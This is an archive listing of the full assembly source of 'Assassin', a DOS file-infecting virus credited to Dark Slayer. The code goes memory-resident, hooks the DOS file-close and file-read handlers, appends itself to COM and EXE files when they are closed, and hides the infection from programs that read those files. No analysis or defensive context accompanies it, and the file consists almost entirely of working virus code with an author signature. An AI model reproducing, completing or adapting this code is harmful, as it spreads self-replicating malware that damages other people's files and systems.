home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / ASSASSIN.ASM < prev    next >
Assembly Source File  |  1996-03-17  |  12KB  |  540 lines

  1. ; Assassin (Bug Fix version)
  2. ;       by Dark Slayer
  3.  
  4. mem_size equ    offset memory_end-offset start
  5. mem_para equ    (mem_size+0fh)/10h
  6. low_mem_size equ mem_size+100h
  7. low_mem_para equ (low_mem_size+0fh)/10h
  8. vir_size equ    offset vir_end-offset start
  9. vir_sector equ  (vir_size+1ffh+2)/200h
  10. constant_size equ offset constant-offset start
  11.  
  12.         .model  tiny
  13.         .code
  14.         org     0
  15. start:
  16.         xor     di,di
  17.         mov     dx,ds:[di+2]
  18.         sub     dh,5
  19.  
  20.         mov     ah,26h
  21.         int     21h
  22.  
  23.         mov     bp,ds:[di+2ch]
  24.  
  25.         mov     ah,4ah
  26.         mov     bx,low_mem_para
  27.         int     21h
  28.  
  29.         mov     ah,52h
  30.         int     21h
  31.         mov     bx,es:[bx-2]
  32.         mov     ax,cs
  33.         dec     ax
  34. mcb:
  35.         mov     cx,ds
  36.         mov     ds,bx
  37.         inc     bx
  38.         mov     dx,bx
  39.         add     bx,ds:[di+3]
  40.         or      bp,bp
  41.         jnz     not_boot
  42.         cmp     ax,bx
  43.         jne     not_our_mcb
  44.         add     word ptr ds:[di+3],low_mem_para+1
  45. not_our_mcb:
  46.         cmp     ax,cx
  47.         jne     not_boot
  48.         mov     ds:[di+1],dx
  49.         mov     di,8
  50.         push    ds
  51.         pop     es
  52.         mov     si,di
  53.         mov     ds,ax
  54.         mov     cx,di
  55.         rep     movsb
  56.         push    dx
  57.         add     ax,10h+1
  58.         push    ax
  59.         jmp     short search
  60. not_boot:
  61.         cmp     byte ptr ds:[di],4dh
  62.         je      mcb
  63.         cmp     byte ptr ds:[di],5ah
  64.         je      mcb
  65.         mov     sp,low_mem_size
  66.         sub     dx,mem_para+1
  67.         mov     es,dx
  68.         sub     dx,cx
  69.         dec     dx
  70.         mov     ds,cx
  71.         mov     ds:[di+3],dx
  72.         mov     si,100h
  73.         mov     cx,vir_size
  74.         rep     movs byte ptr es:[di],cs:[si]
  75.  
  76.         push    es
  77. search:
  78.         mov     ax,352ah
  79.         int     21h
  80.         pop     ds
  81.         push    ds
  82.         mov     di,offset i21_table
  83.         mov     ds:old2a[di]-i21_table,bx
  84.         mov     ds:old2a[di+2]-i21_table,es
  85.         mov     ah,25h
  86.         mov     dx,offset int2a
  87.         int     21h
  88.         mov     dx,bx
  89.         push    es
  90.         pop     ds
  91.         int     21h
  92.         pop     es
  93.         lds     si,es:[di]
  94. search_table:
  95.         lodsw
  96. search_table_:
  97.         dec     si
  98.         cmp     ax,8b2eh
  99.         jne     search_table
  100.         lodsw
  101.         cmp     ah,9fh
  102.         jne     search_table_
  103.         movsw
  104.         scasw
  105.         lea     ax,[si-1e0h]
  106.         stosw
  107.         xchg    si,ax
  108.         mov     word ptr ds:[si],0eacbh
  109.         mov     word ptr ds:[si+2],offset i21_3e
  110.         mov     ds:[si+4],es
  111.         mov     byte ptr ds:[si+6],0eah
  112.         mov     word ptr ds:[si+7],offset i21_3f
  113.         mov     ds:[si+9],es
  114.         call    set21
  115.  
  116.         mov     cx,bp
  117.         jcxz    boot
  118.         mov     ds,bp
  119.         xor     si,si
  120. l2:
  121.         lodsw
  122.         dec     si
  123.         or      ax,ax
  124.         jnz     l2
  125.         lea     dx,[si+3]
  126.         mov     di,offset pcb+4+100h
  127.         push    cs
  128.         pop     es
  129.         mov     ax,cs
  130.         stosw
  131.         scasw
  132.         stosw
  133.         scasw
  134.         stosw
  135.         mov     ax,4b00h
  136.         mov     bx,offset pcb+100h
  137.         int     21h
  138.         mov     ah,4dh
  139.         int     21h
  140.         mov     ah,4ch
  141.         int     21h
  142.  
  143. boot:
  144.         pop     dx
  145.         mov     ah,26h
  146.         int     21h
  147.         mov     bl,3
  148.         mov     ss:[bp+18h+5],bl
  149.         mov     ax,1216h
  150.         int     2fh
  151.         inc     bp
  152.         mov     es:[di],bp
  153.         mov     ss,dx
  154.         mov     ds,dx
  155.         mov     ax,4200h
  156.         mov     bl,5
  157.         cwd
  158.         int     21h
  159.         mov     ah,3fh
  160.         dec     cx
  161.         inc     dh
  162.         int     21h
  163.         mov     ah,3eh
  164.         int     21h
  165.         push    ds
  166.         pop     es
  167.         push    ds
  168.         push    dx
  169.         retf
  170.  
  171. read_cmp proc
  172.         mov     cx,vir_size
  173.         mov     dx,cx
  174.         push    cs
  175.         pop     ds
  176.         call    read
  177.         jc      rc_exit
  178.         push    cx
  179.         xor     si,si
  180. if (vir_size and 0ff00h) eq (constant_size and 0ff00h)
  181.         mov     cl,constant_size and 0ffh
  182. else
  183.         mov     cx,constant_size
  184. endif
  185. compare:
  186.         lodsb
  187.         cmp     al,ds:read_buffer[si-1]
  188.         loope   compare
  189.         clc
  190.         pop     cx
  191. rc_exit:
  192.         ret
  193. read_cmp endp
  194.  
  195. read    proc
  196.         push    bx
  197.         push    dx
  198.         push    ds
  199.         mov     ax,1229h
  200.         int     2fh
  201.         pop     ds
  202.         pop     dx
  203.         pop     bx
  204.         ret
  205. read    endp
  206.  
  207. write   proc
  208.         mov     bp,40h*2
  209. i21_func proc
  210.         pop     ax
  211.         push    bx
  212.         push    cs
  213.         push    ax
  214.         push    cs
  215.         pop     ds
  216.         push    ds:i21_far_jmp
  217.         les     di,dword ptr ds:i21_table
  218.         push    es
  219.         push    es:[di+bp]
  220.         retf
  221. i21_func endp
  222. write   endp
  223.  
  224. set2324_restore21 proc
  225.         push    ds
  226.         mov     si,23h*4
  227.         xor     ax,ax
  228.         mov     ds,ax
  229.         mov     di,offset old23
  230.         push    cs
  231.         pop     es
  232.         mov     ax,offset int23
  233.         mov     bp,2
  234. sm_23_1:
  235.         movsw
  236.         mov     ds:[si-2],ax
  237.         movsw
  238.         mov     ds:[si-2],cs
  239. if ((int23-start) and 0ff00h) eq ((int24-start) and 0ff00h)
  240.         mov     al,(offset int24-offset start) and 0ffh
  241. else
  242.         mov     ax,offset int24
  243. endif
  244.         dec     bp
  245.         jnz     sm_23_1
  246.         mov     si,di
  247.         push    cs
  248.         pop     ds
  249.         mov     bp,-4
  250. rs_1:
  251.         inc     bp
  252.         inc     bp
  253.         les     di,dword ptr ds:i21_table
  254.         mov     di,es:[di+bp+2+3eh*2]
  255.         movsb
  256.         movsw
  257.         jnz     rs_1
  258.         pop     ds
  259.  
  260.         pop     bp
  261.         pop     ax
  262.         push    es
  263.         push    ax
  264.  
  265. get_sft proc
  266.         push    bx
  267.         mov     ax,1220h
  268.         int     2fh
  269.         mov     bl,es:[di]
  270.         mov     ax,1216h
  271.         int     2fh
  272.         pop     bx
  273.         jmp     bp
  274. get_sft endp
  275. set2324_restore21 endp
  276.  
  277. set21_restore23 proc
  278.         mov     si,offset old23
  279.         push    cs
  280.         pop     ds
  281.         mov     di,23h*4
  282.         xor     cx,cx
  283.         mov     es,cx
  284.         mov     cl,4
  285.         rep     movsw
  286.         push    cs
  287.         pop     es
  288.  
  289. set21   proc    ; es = vir segment
  290.         push    ax
  291.         mov     bx,-4
  292.         mov     di,offset i21_3e_data
  293.         mov     cx,es:i21_far_jmp[di]-i21_3e_data
  294.         inc     cx
  295. sm_1:
  296.         inc     bx
  297.         lds     si,dword ptr es:i21_table
  298.         mov     ax,ds:[si+bx+3+3eh*2]
  299.         mov     si,ax
  300.         movsb
  301.         movsw
  302.         xchg    si,ax
  303.         sub     ax,cx
  304.         neg     ax
  305.         mov     byte ptr ds:[si],0e9h
  306.         mov     ds:[si+1],ax
  307.         add     cx,5
  308.         inc     bx
  309.         jnz     sm_1
  310.         pop     ax
  311.         ret
  312. set21   endp
  313. set21_restore23 endp
  314.  
  315. i21_3e:
  316.         call    set2324_restore21
  317.         jc      jc_exit
  318.         push    es
  319.         pop     ds
  320.         cmp     word ptr ds:[di],1
  321.         jne     jne_exit
  322.         les     ax,dword ptr ds:[di+28h]
  323.         mov     dx,es
  324.         cmp     ax,'OC'
  325.         jne     exe
  326.         mov     al,'M'
  327.         jmp     short com
  328. exe:
  329.         cmp     ax,'XE'
  330.         jne     jne_exit
  331. com:
  332.         cmp     dl,al
  333. jne_exit:
  334.         jne     jne_exit_
  335.         les     ax,dword ptr ds:[di+11h]
  336.         cmp     ax,vir_size
  337. jc_exit:
  338.         jb      jc_exit_
  339.         cmp     ax,0ffffh-(vir_size+2)
  340.         ja      jne_exit_
  341.         mov     dx,es
  342.         or      dx,dx
  343. jne_exit_:
  344.         jnz     i21_3e_exit
  345.         mov     ds:[di+15h],dx
  346.         mov     ds:[di+17h],dx
  347.         les     si,dword ptr ds:[di+7]
  348.         les     si,dword ptr es:[si+2]
  349.         add     ax,si
  350.         dec     ax
  351.         div     si
  352.         mov     cx,es
  353.         inc     cx
  354.         div     cl
  355.         or      ah,ah
  356.         jz      i21_3e_exit
  357.         sub     cl,ah
  358.         cmp     cl,vir_sector
  359. jc_exit_:
  360.         jb      i21_3e_exit
  361.         les     ax,ds:[di+4]
  362.         push    ax
  363.         push    es
  364.         and     ax,1000000000011100b
  365.         jnz     close_
  366.         mov     byte ptr ds:[di+2],2
  367.         mov     ds:[di+4],al
  368.  
  369.         call    read_cmp
  370.         jbe     close
  371.  
  372.         mov     si,cx
  373. cmp_device:
  374.         dec     si
  375.         lodsw
  376.         inc     ax
  377.         loopnz  cmp_device
  378.         jcxz    not_device
  379.         dec     ax
  380.         cmp     ax,ds:[si]
  381.         je      close
  382.         jmp     short cmp_device
  383. not_device:
  384.         mov     ax,es:[di+11h]
  385.         mov     es:[di+15h],ax
  386.  
  387.         mov     cx,vir_size+2
  388.         mov     dx,offset id
  389.         call    write
  390.         pop     bx
  391.         jc      close
  392.         sub     es:[di+11h],ax
  393.         dec     cx
  394.         dec     cx
  395.         cwd
  396.         mov     es:[di+15h],dx
  397.         call    write
  398.         pop     bx
  399. close:
  400.         push    es
  401.         pop     ds
  402. close_:
  403.         pop     ds:[di+6]
  404.         pop     ds:[di+4]
  405.         mov     bp,0dh*2
  406.         call    i21_func
  407.         pop     bx
  408. i21_3e_exit:
  409.         mov     ax,1227h
  410.         int     2fh
  411.         jmp     i21_3f_exit
  412.  
  413. i21_3f:
  414.         call    set2324_restore21
  415.  
  416.         les     ax,dword ptr es:[di+15h]
  417.         push    ax
  418.         push    es
  419.         call    read
  420.         pop     bp
  421.         pop     si
  422.         cmc
  423.         jnc     jnc_exit
  424.         test    word ptr es:[di+4],1000000000011000b
  425.         jnz     jnz_3f_exit
  426.         or      bp,bp
  427. jnz_3f_exit:
  428.         jnz     i21_3f_exit
  429.         sub     si,vir_size
  430. jnc_exit:
  431.         jae     i21_3f_exit
  432.         xor     cx,cx
  433.         xchg    cx,es:[di+15h]
  434.         push    cx
  435.         xor     cx,cx
  436.         xchg    cx,es:[di+17h]
  437.         push    cx
  438.         push    ax
  439.         push    si
  440.  
  441.         push    dx
  442.         push    ds
  443.         call    read_cmp
  444.         pop     ds
  445.         pop     dx
  446.         jc      i21_3f_exit_1
  447.         jne     i21_3f_exit_1
  448.  
  449.         push    dx
  450.         push    ds
  451.  
  452.         push    es
  453.         pop     ds
  454.         mov     ax,ds:[di+11h]
  455.         mov     ds:[di+15h],ax
  456.         add     word ptr ds:[di+11h],vir_size+2
  457.  
  458.         mov     cl,2
  459.         mov     dx,offset read_buffer
  460.         push    cs
  461.         pop     ds
  462.         call    read
  463.         pop     ds
  464.         pop     dx
  465.         jc      i21_3f_exit_2
  466.         cmp     word ptr cs:read_buffer,'SD'
  467.         je      i21_3f_l0
  468.         mov     ax,1218h
  469.         int     2fh
  470.         or      byte ptr ds:[si+16h],1
  471.         jmp     short i21_3f_exit_2
  472. i21_3f_l0:
  473.         pop     si
  474.         neg     si
  475.         mov     ax,es:[di+11h]
  476.         sub     ax,si
  477.         mov     es:[di+15h],ax
  478.         pop     cx
  479.         push    cx
  480.         push    cx
  481.         cmp     cx,si
  482.         jb      i21_3f_l1
  483.         mov     cx,si
  484. i21_3f_l1:
  485.         call    read
  486. i21_3f_exit_2:
  487.         sub     word ptr es:[di+11h],vir_size+2
  488. i21_3f_exit_1:
  489.         pop     ax
  490.         pop     ax
  491.         pop     es:[di+17h]
  492.         pop     es:[di+15h]
  493. i21_3f_exit:
  494.         call    set21_restore23
  495.         push    ax
  496.         mov     ax,1218h
  497.         int     2fh
  498.         mov     ax,ds:[si+16h]
  499.         shr     ax,1
  500.         pop     ax
  501.         mov     ds:[si],ax
  502.         retf
  503.  
  504. int23:
  505.         call    set21_restore23
  506.         jmp     dword ptr cs:old23
  507.  
  508. int24:
  509.         xor     ax,ax
  510.         iret
  511. int2a:
  512.         pop     cs:i21_table
  513.         pop     cs:i21_table[2]
  514.         sub     sp,4
  515.         jmp     dword ptr cs:old2a
  516.  
  517. msg     db      ' This is [Assassin] written by Dark Slayer '
  518.         db      'in Keelung. Taiwan <R.O.C> '
  519.  
  520. constant:
  521.  
  522. pcb     dw      0,80h,?,5ch,?,6ch,?
  523. id      db      'DS'
  524. vir_end:
  525.  
  526. read_buffer db  vir_size dup(?)
  527.  
  528. old2a   dw      ?,?
  529. old23   dw      ?,?
  530. old24   dw      ?,?
  531. i21_3e_data db  3 dup(?)
  532. i21_3f_data db  3 dup(?)
  533. i21_table dw    ?,?
  534. i21_far_jmp dw  ?
  535.  
  536. memory_end:
  537.         end     start
  538. 
  539.  
  540.